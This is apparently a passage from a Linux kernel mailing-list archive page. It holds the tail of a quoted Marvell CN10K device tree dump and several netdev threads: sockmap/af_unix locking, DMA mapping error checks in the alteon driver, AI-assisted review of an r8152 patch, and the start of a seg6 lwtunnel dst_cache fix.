> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x22>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@B0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xb>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x27>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xb0000>;
> enable-method = "psci";
> phandle = <0xd>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x27>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@100000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x10>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2c>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x100000>;
> enable-method = "psci";
> phandle = <0x12>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2c>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@F0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xf>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2b>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xf0000>;
> enable-method = "psci";
> phandle = <0x11>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2b>;
> numa-node-id = <0x0>;
> };
> };
> };
>
> __symbols__ {
> CPU17 = "/cpus/cpu@110000";
> L2_90000 = "/cpus/cpu@90000/l2-cache";
> spi_7_0 = "/soc@0/spi@805000000000";
> ethernetA9 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@01";
> static_funnel_in3 = "/soc@0/st_funnel/in-ports/port@3/endpoint";
> gic0 = "/interrupt-controller@801000000000";
> static_funnel_in10 = "/soc@0/st_funnel/in-ports/port@a/endpoint";
> etf15_in = "/soc@0/etf15@87a004f10000/in-ports/port/endpoint";
> ete3_out = "/soc@0/ete3/out-ports/port/endpoint";
> i2c_24_1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,1";
> etf12_in = "/soc@0/etf12@87a004c10000/in-ports/port/endpoint";
> etf22_trace = "/reserved-memory/etf22_trace@0";
> ethernetA22 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@3";
> data_flash = "/soc@0/spi@805000000000/flash@0";
> ete7_out = "/soc@0/ete7/out-ports/port/endpoint";
> etf8_trace = "/reserved-memory/etf8_trace@0";
> etf0 = "/soc@0/etf0@87a004010000";
> pem1 = "/soc@0/pci@878040000000";
> ete15 = "/soc@0/ete15";
> ptp_8_0 = "/soc@0/pci@878000000000/ptp@8,0";
> etf9_in = "/soc@0/etf9@87a004910000/in-ports/port/endpoint";
> ethernetA12 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@00";
> qsfp_0 = "/qsfp-slot@0";
> pem0_mem_reserved = "/reserved-memory/pem0-rsvd-mem@0000000000000000";
> ete0 = "/soc@0/ete0";
> L2_A0000 = "/cpus/cpu@A0000/l2-cache";
> static_funnel_in19 = "/soc@0/st_funnel/in-ports/port@13/endpoint";
> etf6_in = "/soc@0/etf6@87a004610000/in-ports/port/endpoint";
> etf0_out = "/soc@0/etf0@87a004010000/out-ports/port/endpoint";
> ete13_out = "/soc@0/ete13/out-ports/port/endpoint";
> CPU15 = "/cpus/cpu@F0000";
> ethernetA7 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@03";
> etf16_trace = "/reserved-memory/etf16_trace@0";
> static_funnel_in1 = "/soc@0/st_funnel/in-ports/port@1/endpoint";
> sclk = "/soc@0/sclk";
> etf3_in = "/soc@0/etf3@87a004310000/in-ports/port/endpoint";
> etf12_out = "/soc@0/etf12@87a004c10000/out-ports/port/endpoint";
> etf1_trace = "/reserved-memory/etf1_trace@0";
> etf18 = "/soc@0/etf18@87a005210000";
> L2_E0000 = "/cpus/cpu@E0000/l2-cache";
> etf4_out = "/soc@0/etf4@87a004410000/out-ports/port/endpoint";
> etf9 = "/soc@0/etf9@87a004910000";
> qsfpeeprom0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3/eeprom@50";
> etf0_in = "/soc@0/etf0@87a004010000/in-ports/port/endpoint";
> ete17_out = "/soc@0/ete17/out-ports/port/endpoint";
> ete23 = "/soc@0/ete23";
> ethernetA20 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@1";
> etf16_out = "/soc@0/etf16@87a005010000/out-ports/port/endpoint";
> mrml_bridge = "/soc@0/pci@878000000000/mrml-bridge0@1,0";
> ete9 = "/soc@0/ete9";
> etf8_out = "/soc@0/etf8@87a004810000/out-ports/port/endpoint";
> CPU8 = "/cpus/cpu@80000";
> ete13 = "/soc@0/ete13";
> ete20_out = "/soc@0/ete20/out-ports/port/endpoint";
> CPU23 = "/cpus/cpu@170000";
> ethernetA10 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@02";
> rpm_1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1";
> uaa6 = "/soc@0/serial@87e02e000000";
> ecam1 = "/soc@0/pci@878010000000";
> L2_100000 = "/cpus/cpu@100000/l2-cache";
> static_funnel_in17 = "/soc@0/st_funnel/in-ports/port@11/endpoint";
> CPU13 = "/cpus/cpu@D0000";
> L2_20000 = "/cpus/cpu@20000/l2-cache";
> ethernetA5 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@01";
> i2c_24_8 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,8";
> refclkuaa = "/soc@0/refclkuaa";
> etf16 = "/soc@0/etf16@87a005010000";
> L2_140000 = "/cpus/cpu@140000/l2-cache";
> etf23_out = "/soc@0/etf23@87a005710000/out-ports/port/endpoint";
> console_reserved = "/reserved-memory/pci-console-nexus";
> etf7 = "/soc@0/etf7@87a004710000";
> etf5_trace = "/reserved-memory/etf5_trace@0";
> L2_60000 = "/cpus/cpu@60000/l2-cache";
> ete21 = "/soc@0/ete21";
> ethernetA19 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@0";
> mmc_supply_1v8 = "/mmc_supply_1v8";
> ete0_out = "/soc@0/ete0/out-ports/port/endpoint";
> ete7 = "/soc@0/ete7";
> CPU6 = "/cpus/cpu@60000";
> ete11 = "/soc@0/ete11";
> CPU21 = "/cpus/cpu@150000";
> uaa4 = "/soc@0/serial@87e02c000000";
> static_funnel_in8 = "/soc@0/st_funnel/in-ports/port@8/endpoint";
> etf13_trace = "/reserved-memory/etf13_trace@0";
> firmware_flash0 = "/soc@0/spi@804000000000/flash@0";
> ete4_out = "/soc@0/ete4/out-ports/port/endpoint";
> static_funnel_in15 = "/soc@0/st_funnel/in-ports/port@f/endpoint";
> CPU11 = "/cpus/cpu@B0000";
> ethernetA3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@03";
> i2c_24_6 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,6";
> etf22_in = "/soc@0/etf22@87a005610000/in-ports/port/endpoint";
> ttymem = "/soc@0/ttymem";
> i2c_24_10 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,10";
> spi_6_0 = "/soc@0/spi@804000000000";
> etf14 = "/soc@0/etf14@87a004e10000";
> scmi_clk = "/firmware/scmi/protocol@14";
> ete8_out = "/soc@0/ete8/out-ports/port/endpoint";
> etf5 = "/soc@0/etf5@87a004510000";
> etf23_trace = "/reserved-memory/etf23_trace@0";
> ete10_out = "/soc@0/ete10/out-ports/port/endpoint";
> ethernetA17 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/100g@02";
> etf9_trace = "/reserved-memory/etf9_trace@0";
> etf17_in = "/soc@0/etf17@87a005110000/in-ports/port/endpoint";
> mailbox = "/soc@0/pci@878000000000/mailbox@28,0";
> ete5 = "/soc@0/ete5";
> L2_B0000 = "/cpus/cpu@B0000/l2-cache";
> etf1_out = "/soc@0/etf1@87a004110000/out-ports/port/endpoint";
> static_funnel_in23 = "/soc@0/st_funnel/in-ports/port@17/endpoint";
> CPU4 = "/cpus/cpu@40000";
> ete14_out = "/soc@0/ete14/out-ports/port/endpoint";
> etf14_in = "/soc@0/etf14@87a004e10000/in-ports/port/endpoint";
> ethernetB1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1/sgmii@10";
> uaa2 = "/soc@0/serial@87e02a000000";
> static_funnel_in6 = "/soc@0/st_funnel/in-ports/port@6/endpoint";
> etf13_out = "/soc@0/etf13@87a004d10000/out-ports/port/endpoint";
> static_funnel_in13 = "/soc@0/st_funnel/in-ports/port@d/endpoint";
> qsfpdiag0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3/diag@51";
> etf17_trace = "/reserved-memory/etf17_trace@0";
> etf22 = "/soc@0/etf22@87a005610000";
> L2_F0000 = "/cpus/cpu@F0000/l2-cache";
> etf11_in = "/soc@0/etf11@87a004b10000/in-ports/port/endpoint";
> etf5_out = "/soc@0/etf5@87a004510000/out-ports/port/endpoint";
> ete18_out = "/soc@0/ete18/out-ports/port/endpoint";
> ethernetA1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@01";
> etf2_trace = "/reserved-memory/etf2_trace@0";
> i2c_24_4 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,4";
> shared_etr_in = "/soc@0/sh_etr@87a100060000/in-ports/port/endpoint";
> etf12 = "/soc@0/etf12@87a004c10000";
> etf17_out = "/soc@0/etf17@87a005110000/out-ports/port/endpoint";
> etf8_in = "/soc@0/etf8@87a004810000/in-ports/port/endpoint";
> etf3 = "/soc@0/etf3@87a004310000";
> etf9_out = "/soc@0/etf9@87a004910000/out-ports/port/endpoint";
> fwlogmem = "/reserved-memory/fwlogs@0";
> mdio1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/mdio-nexus@1,3/mdio1@87e005003880";
> pem4 = "/soc@0/pci@878070000000";
> ete18 = "/soc@0/ete18";
> ete21_out = "/soc@0/ete21/out-ports/port/endpoint";
> static_funnel_out = "/soc@0/st_funnel/out-ports/port/endpoint";
> ethernetA15 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@03";
> etf5_in = "/soc@0/etf5@87a004510000/in-ports/port/endpoint";
> etf10_trace = "/reserved-memory/etf10_trace@0";
> L2_110000 = "/cpus/cpu@110000/l2-cache";
> etf20_out = "/soc@0/etf20@87a005410000/out-ports/port/endpoint";
> ete3 = "/soc@0/ete3";
> mmc = "/soc@0/sdhci@824000000000";
> static_funnel_in21 = "/soc@0/st_funnel/in-ports/port@15/endpoint";
> CPU2 = "/cpus/cpu@20000";
> etf2_in = "/soc@0/etf2@87a004210000/in-ports/port/endpoint";
> L2_30000 = "/cpus/cpu@30000/l2-cache";
> CPU18 = "/cpus/cpu@120000";
> uaa0 = "/soc@0/serial@87e028000000";
> static_funnel_in4 = "/soc@0/st_funnel/in-ports/port@4/endpoint";
> scp_to_cpu = "/soc@0/sram@36,0/scp-shmem@0";
> vqmmc_supply_1v8 = "/vqmmc_supply_1v8";
> static_funnel_in11 = "/soc@0/st_funnel/in-ports/port@b/endpoint";
> L2_150000 = "/cpus/cpu@150000/l2-cache";
> etf20 = "/soc@0/etf20@87a005410000";
> L2_70000 = "/cpus/cpu@70000/l2-cache";
> etf20_trace = "/reserved-memory/etf20_trace@0";
> i2c_24_2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,2";
> etf6_trace = "/reserved-memory/etf6_trace@0";
> etf10 = "/soc@0/etf10@87a004a10000";
> ete1_out = "/soc@0/ete1/out-ports/port/endpoint";
> etf1 = "/soc@0/etf1@87a004110000";
> pem2 = "/soc@0/pci@878050000000";
> ete16 = "/soc@0/ete16";
> ethernetA13 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@01";
> smmu0 = "/soc@0/smmu@830000000000";
> its = "/interrupt-controller@801000000000/gic-its@801000040000";
> ete1 = "/soc@0/ete1";
> ete5_out = "/soc@0/ete5/out-ports/port/endpoint";
> CPU0 = "/cpus/cpu@0";
> etf14_trace = "/reserved-memory/etf14_trace@0";
> CPU16 = "/cpus/cpu@100000";
> ethernetA8 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@00";
> static_funnel_in2 = "/soc@0/st_funnel/in-ports/port@2/endpoint";
> gpio_17_0 = "/soc@0/pci@878000000000/gpio0@17,0";
> etf19 = "/soc@0/etf19@87a005310000";
> ete9_out = "/soc@0/ete9/out-ports/port/endpoint";
> ete11_out = "/soc@0/ete11/out-ports/port/endpoint";
> i2c_24_0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,0";
> ghes_bert_reserved = "/reserved-memory/ghes-bert@0000000000000000";
> ethernetA21 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/usxgmii@2";
> etf10_out = "/soc@0/etf10@87a004a10000/out-ports/port/endpoint";
> sdmclk = "/soc@0/sdmclk";
> L2_C0000 = "/cpus/cpu@C0000/l2-cache";
> etf2_out = "/soc@0/etf2@87a004210000/out-ports/port/endpoint";
> CPU9 = "/cpus/cpu@90000";
> ete15_out = "/soc@0/ete15/out-ports/port/endpoint";
> pem0 = "/soc@0/pci@878030000000";
> ete14 = "/soc@0/ete14";
> ethernetA11 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/sgmii@03";
> rpm_2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@2";
> soc_0 = "/soc@0";
> uaa7 = "/soc@0/serial@87e02f000000";
> ecam2 = "/soc@0/pci@878020000000";
> etf14_out = "/soc@0/etf14@87a004e10000/out-ports/port/endpoint";
> static_funnel_in18 = "/soc@0/st_funnel/in-ports/port@12/endpoint";
> etf21_in = "/soc@0/etf21@87a005510000/in-ports/port/endpoint";
> etf6_out = "/soc@0/etf6@87a004610000/out-ports/port/endpoint";
> CPU14 = "/cpus/cpu@E0000";
> ete19_out = "/soc@0/ete19/out-ports/port/endpoint";
> ethernetA6 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@02";
> static_funnel_in0 = "/soc@0/st_funnel/in-ports/port@0/endpoint";
> scmi_sensors0 = "/firmware/scmi/protocol@15";
> i2c_24_9 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,9";
> etf18_trace = "/reserved-memory/etf18_trace@0";
> etf19_in = "/soc@0/etf19@87a005310000/in-ports/port/endpoint";
> etf18_out = "/soc@0/etf18@87a005210000/out-ports/port/endpoint";
> etf17 = "/soc@0/etf17@87a005110000";
> etf3_trace = "/reserved-memory/etf3_trace@0";
> etf8 = "/soc@0/etf8@87a004810000";
> aliases = "/aliases";
> etf16_in = "/soc@0/etf16@87a005010000/in-ports/port/endpoint";
> ete22_out = "/soc@0/ete22/out-ports/port/endpoint";
> ete22 = "/soc@0/ete22";
> L2_120000 = "/cpus/cpu@120000/l2-cache";
> etf21_out = "/soc@0/etf21@87a005510000/out-ports/port/endpoint";
> etf13_in = "/soc@0/etf13@87a004d10000/in-ports/port/endpoint";
> ete8 = "/soc@0/ete8";
> CPU7 = "/cpus/cpu@70000";
> ete12 = "/soc@0/ete12";
> L2_40000 = "/cpus/cpu@40000/l2-cache";
> CPU22 = "/cpus/cpu@160000";
> etf11_trace = "/reserved-memory/etf11_trace@0";
> rpm_0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0";
> uaa5 = "/soc@0/serial@87e02d000000";
> static_funnel_in9 = "/soc@0/st_funnel/in-ports/port@9/endpoint";
> etf10_in = "/soc@0/etf10@87a004a10000/in-ports/port/endpoint";
> ecam0 = "/soc@0/pci@878000000000";
> L2_0 = "/cpus/cpu@0/l2-cache";
> static_funnel_in16 = "/soc@0/st_funnel/in-ports/port@10/endpoint";
> L2_160000 = "/cpus/cpu@160000/l2-cache";
> CPU12 = "/cpus/cpu@C0000";
> ethernetA4 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/25g@00";
> L2_80000 = "/cpus/cpu@80000/l2-cache";
> etf7_in = "/soc@0/etf7@87a004710000/in-ports/port/endpoint";
> i2c_24_7 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,7";
> shared_etf_in = "/soc@0/sh_etf@87a100050000/in-ports/port/endpoint";
> i2c_24_11 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,11";
> ete2_out = "/soc@0/ete2/out-ports/port/endpoint";
> etf15 = "/soc@0/etf15@87a004f10000";
> etf21_trace = "/reserved-memory/etf21_trace@0";
> etf4_in = "/soc@0/etf4@87a004410000/in-ports/port/endpoint";
> etf6 = "/soc@0/etf6@87a004610000";
> ete20 = "/soc@0/ete20";
> etf7_trace = "/reserved-memory/etf7_trace@0";
> scmi_dvfs = "/firmware/scmi/protocol@13";
> ethernetA18 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/40g@00";
> etf1_in = "/soc@0/etf1@87a004110000/in-ports/port/endpoint";
> ete6_out = "/soc@0/ete6/out-ports/port/endpoint";
> ete6 = "/soc@0/ete6";
> CPU5 = "/cpus/cpu@50000";
> ete10 = "/soc@0/ete10";
> CPU20 = "/cpus/cpu@140000";
> uaa3 = "/soc@0/serial@87e02b000000";
> static_funnel_in7 = "/soc@0/st_funnel/in-ports/port@7/endpoint";
> etf15_trace = "/reserved-memory/etf15_trace@0";
> static_funnel_in14 = "/soc@0/st_funnel/in-ports/port@e/endpoint";
> etf23 = "/soc@0/etf23@87a005710000";
> CPU10 = "/cpus/cpu@A0000";
> ete12_out = "/soc@0/ete12/out-ports/port/endpoint";
> etf0_trace = "/reserved-memory/etf0_trace@0";
> ethernetA2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@02";
> sh_etr = "/soc@0/sh_etr@87a100060000";
> i2c_24_5 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,5";
> etf11_out = "/soc@0/etf11@87a004b10000/out-ports/port/endpoint";
> etf13 = "/soc@0/etf13@87a004d10000";
> L2_D0000 = "/cpus/cpu@D0000/l2-cache";
> etf3_out = "/soc@0/etf3@87a004310000/out-ports/port/endpoint";
> etf4 = "/soc@0/etf4@87a004410000";
> ete16_out = "/soc@0/ete16/out-ports/port/endpoint";
> pem5 = "/soc@0/pci@878080000000";
> cpu_scp_lpri = "/soc@0/sram@26,0/scp-shmem@0";
> ete19 = "/soc@0/ete19";
> ethernetA16 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/100g@00";
> ghes_hest_reserved = "/reserved-memory/ghes-hest@0000000000000000";
> coresight_reserved = "/reserved-memory/coresight-presrv@0";
> etf15_out = "/soc@0/etf15@87a004f10000/out-ports/port/endpoint";
> ete4 = "/soc@0/ete4";
> static_funnel_in22 = "/soc@0/st_funnel/in-ports/port@16/endpoint";
> etf7_out = "/soc@0/etf7@87a004710000/out-ports/port/endpoint";
> CPU3 = "/cpus/cpu@30000";
> CPU19 = "/cpus/cpu@130000";
> ethernetB0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@1/10g@10";
> uaa1 = "/soc@0/serial@87e029000000";
> static_funnel_in5 = "/soc@0/st_funnel/in-ports/port@5/endpoint";
> static_funnel_in12 = "/soc@0/st_funnel/in-ports/port@c/endpoint";
> etf19_out = "/soc@0/etf19@87a005310000/out-ports/port/endpoint";
> etf21 = "/soc@0/etf21@87a005510000";
> etf19_trace = "/reserved-memory/etf19_trace@0";
> L2_10000 = "/cpus/cpu@10000/l2-cache";
> ethernetA0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/10g@00";
> octeontx2_L3 = "/l3-cache";
> ete23_out = "/soc@0/ete23/out-ports/port/endpoint";
> i2c_24_3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3";
> etf4_trace = "/reserved-memory/etf4_trace@0";
> etf11 = "/soc@0/etf11@87a004b10000";
> L2_130000 = "/cpus/cpu@130000/l2-cache";
> etf22_out = "/soc@0/etf22@87a005610000/out-ports/port/endpoint";
> etf23_in = "/soc@0/etf23@87a005710000/in-ports/port/endpoint";
> etf2 = "/soc@0/etf2@87a004210000";
> bootcmd = "/soc@0/pci-bootcmd@0x027ff000";
> mdio0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/mdio-nexus@1,3/mdio0@87e005003800";
> pem3 = "/soc@0/pci@878060000000";
> L2_50000 = "/cpus/cpu@50000/l2-cache";
> ete17 = "/soc@0/ete17";
> shared_etf_out = "/soc@0/sh_etf@87a100050000/out-ports/port/endpoint";
> ethernetA14 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/rpm@0/50g@02";
> ioclk = "/soc@0/ioclk";
> etf20_in = "/soc@0/etf20@87a005410000/in-ports/port/endpoint";
> ete2 = "/soc@0/ete2";
> etf12_trace = "/reserved-memory/etf12_trace@0";
> L2_170000 = "/cpus/cpu@170000/l2-cache";
> static_funnel_in20 = "/soc@0/st_funnel/in-ports/port@14/endpoint";
> CPU1 = "/cpus/cpu@10000";
> etf18_in = "/soc@0/etf18@87a005210000/in-ports/port/endpoint";
> };
>
> tad_pmu {
> marvell,tad-cnt = <0x30>;
> marvell,tad-pmu-page-size = <0x1000>;
> marvell,tad-page-size = <0x1000000>;
> compatible = "marvell,cn10k-tad-pmu";
> reg = <0x87e2 0x80000000 0x0 0x30000000>;
> };
>
> reserved-memory {
> #address-cells = <0x2>;
> #size-cells = <0x2>;
> ranges;
>
> ghes-hest@00000009fbf00000 {
> compatible = "marvell";
> reg = <0x9 0xfbf00000 0x0 0x100000>;
> phandle = <0x41>;
> no-map;
> };
>
> ghes-bert@00000009f7afe000 {
> compatible = "marvell";
> reg = <0x9 0xf7afe000 0x0 0x2000>;
> phandle = <0x42>;
> no-map;
> };
>
> pem0-rsvd-mem@00000009f7b00000 {
> compatible = "marvell";
> reg = <0x9 0xf7b00000 0x0 0x4400000>;
> phandle = <0x40>;
> no-map;
> };
>
> pci-console-nexus {
> compatible = "marvell,pci-console-nexus-memory";
> reg = <0x0 0x20060000 0x0 0x1c100>;
> phandle = <0x35>;
> no-map;
> };
> };
> };
^ permalink raw reply
* Re: [PATCH bpf v3 5/5] bpf, sockmap: Adapt for af_unix-specific lock
From: Michal Luczaj @ 2026-04-01 19:18 UTC (permalink / raw)
To: Kuniyuki Iwashima
Cc: Martin KaFai Lau, Jiayuan Chen, John Fastabend, Jakub Sitnicki,
Eric Dumazet, Paolo Abeni, Willem de Bruijn, David S. Miller,
Jakub Kicinski, Simon Horman, Yonghong Song, Andrii Nakryiko,
Alexei Starovoitov, Daniel Borkmann, Eduard Zingerman, Song Liu,
Yonghong Song, KP Singh, Stanislav Fomichev, Hao Luo, Jiri Olsa,
Shuah Khan, Cong Wang, netdev, bpf, linux-kernel, linux-kselftest
In-Reply-To: <CAAVpQUAHijOMext28Gi10dSLuMzGYh+jK61Ujn+fZ-wvcODR2A@mail.gmail.com>
On 4/1/26 01:18, Kuniyuki Iwashima wrote:
> On Tue, Mar 31, 2026 at 3:44 PM Michal Luczaj <mhal@rbox.co> wrote:
>>
>> On 3/31/26 01:27, Kuniyuki Iwashima wrote:
>>> On Mon, Mar 30, 2026 at 4:04 PM Michal Luczaj <mhal@rbox.co> wrote:
>>>> On 3/26/26 07:26, Martin KaFai Lau wrote:
>>>>> On 3/15/26 4:58 PM, Michal Luczaj wrote:
>>>>>>> Beside, from looking at the may_update_sockmap(), I don't know if it is
>>>>>>> even doable (or useful) to bpf_map_update_elem(unix_sk) in
>>>>>>> tc/flow_dissector/xdp. One possible path is the SOCK_FILTER when looking
>>>>>>> at unix_dgram_sendmsg() => sk_filter(). It was not the original use case
>>>>>>> when the bpf_map_update_elem(sockmap) support was added iirc.
>>>>>>
>>>>>> What about a situation when unix_sk is stored in a sockmap, then tc prog
>>>>>> looks it up and invokes bpf_map_update_elem(unix_sk)? I'm not sure it's
>>>>>> useful, but seems doable.
>>>>>
>>>>> [ Sorry for the late reply ]
>>>>>
>>>>> It is a bummer that the bpf_map_update_elem(unix_sk) path is possible
>>>>> from tc :(
>>>>>
>>>>> Then unix_state_lock() in its current form cannot be safely acquired in
>>>>> sock_map_update_elem(). It is currently a spin_lock() instead of
>>>>> spin_lock_bh().
>>>>
>>>> Is there a specific deadlock you have in your mind?
>>>
>>> lockdep would complain if we used the same lock from
>>> different contexts.
>>>
>>> e.g.)
>>> Process context holding unix_state_lock() with the normal spin_lock()
>>> -> BH interrupt
>>> -> tc prog trying to hold the same lock with spin_lock(). (_bh())
>>> -> deadlock
>>
>> OK, I get it, thanks.
>>
>> So here's one more idea: the null-ptr-deref issue is connect() racing
>> against sock_map_update_elem_*SYS*() coming from user-space, not the
>> can-be-called-from-BH sock_map_update_elem() variant. So can't we assume
>> that for any sock_map_update_elem(unix_sk) invoked by a tc prog, unix_sk
>> will always be "stable", i.e. in a state that cannot lead to that
>> null-ptr-deref?
>>
>> IOW, if for a tc prog the only way to get hold of unix_sk is look it up in
>> a sockmap, then (by the fact that unix_sk _is_ in the sockmap) unix_sk will
>> be already safe to use by sock_map_update_elem() without taking the af_unix
>> state lock.
>>
>> Long story short: take the unix state lock in sock_map_update_elem_sys(),
>> don't bother in sock_map_update_elem()?
>
> but it will prevents bpf iter from taking unix_state_lock().
How come? bpf iter can take unix_state_lock() and the prog is free to
invoke sock_map_update_elem(). It's the _sys variant that would be taking
unix_state_lock() by itself. Or is there some other locking complexity I'm
missing?
> I don't see a good reason to introduce a new locking rule by unnecessarily
> wrapping the entire sockmap update with unix_state_lock() even though
> the root bug can be avoided by a simple null check in a leaf function.
Yeah, I get that point. I just assumed the root bug was indeed sockmap
update missing a lock.
^ permalink raw reply
* Re: [PATCH] net: alteon: Add missing DMA mapping error checks in ace_start_xmit
From: Jes Sorensen @ 2026-04-01 19:15 UTC (permalink / raw)
To: Jakub Kicinski, Joe Damato; +Cc: netdev, linux-kernel
In-Reply-To: <20260331184144.7643062f@kernel.org>
On 3/31/26 9:41 PM, Jakub Kicinski wrote:
> On Tue, 31 Mar 2026 16:43:22 -0700 Joe Damato wrote:
>> On Tue, Mar 31, 2026 at 09:48:41AM +0800, Wang Jun wrote:
>>> The ace_start_xmit function does not check the return value of
>>> dma_map_page (via ace_map_tx_skb) and skb_frag_dma_map when building
>>> transmit descriptors. If mapping fails, an invalid DMA address is
>>> written to the descriptor, which may cause hardware to access
>>> illegal memory, leading to system instability or crashes.
>>>
>>> Add proper dma_mapping_error() checks for all mapping calls. When
>>> mapping fails, free the skb, increment the dropped packet counter,
>>> and return NETDEV_TX_OK.
>>>
>>> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
>>
>> Is this fixing a bug you've seen in the wild? If not, I'd probably drop the
>> fixes tag and send this to net-next instead.
>
> Either it's worth fixing in net or its not worth fixing at all.
>
> My preference would be to try to delete this driver completely.
The amount of hardware out there that is functional at this point must
be in the single digits.
^ permalink raw reply
* Re: [PATCH net-next v4 1/2] r8152: Add support for 5Gbit Link Speeds and EEE
From: Andrew Lunn @ 2026-04-01 19:00 UTC (permalink / raw)
To: Birger Koblitz
Cc: Jakub Kicinski, andrew+netdev, davem, edumazet, pabeni, linux-usb,
netdev, linux-kernel
In-Reply-To: <59b4be26-1fee-40f1-b9ff-45881cddc7df@birger-koblitz.de>
> One thing I
> noticed in particular is that the AI does not seem to take into account
> that the code actually works: suspecting broken SRAM-access or wrong
> descriptor-size settings would break the driver at such a fundamental level,
> it would not be able to work at all.
The flip side to this is that we get a lot of patches which are
compile tested only. So assuming the patch has run on real hardware is
a poor assumption to make.
We humans however do have a feeling about who is submitting the
patches and how likely they have run it on hardware. So we know to
look for fundamental problems or not.
Andrew
^ permalink raw reply
* [PATCH net v2 1/2] seg6: separate dst_cache for input and output paths in seg6 lwtunnel
From: Andrea Mayer @ 2026-04-01 18:57 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, kuba, pabeni, horms, dsahern, david.lebrun,
stefano.salsano, paolo.lungaroni, nicolas.dichtel, linux-kernel,
Andrea Mayer, stable
In-Reply-To: <20260401185755.29813-1-andrea.mayer@uniroma2.it>
The seg6 lwtunnel uses a single dst_cache per encap route, shared
between seg6_input_core() and seg6_output_core(). These two paths
can perform the post-encap SID lookup in different routing contexts
(e.g., ip rules matching on the ingress interface, or VRF table
separation). Whichever path runs first populates the cache, and the
other reuses it blindly, bypassing its own lookup.
Fix this by splitting the cache into cache_input and cache_output,
so each path maintains its own cached dst independently.
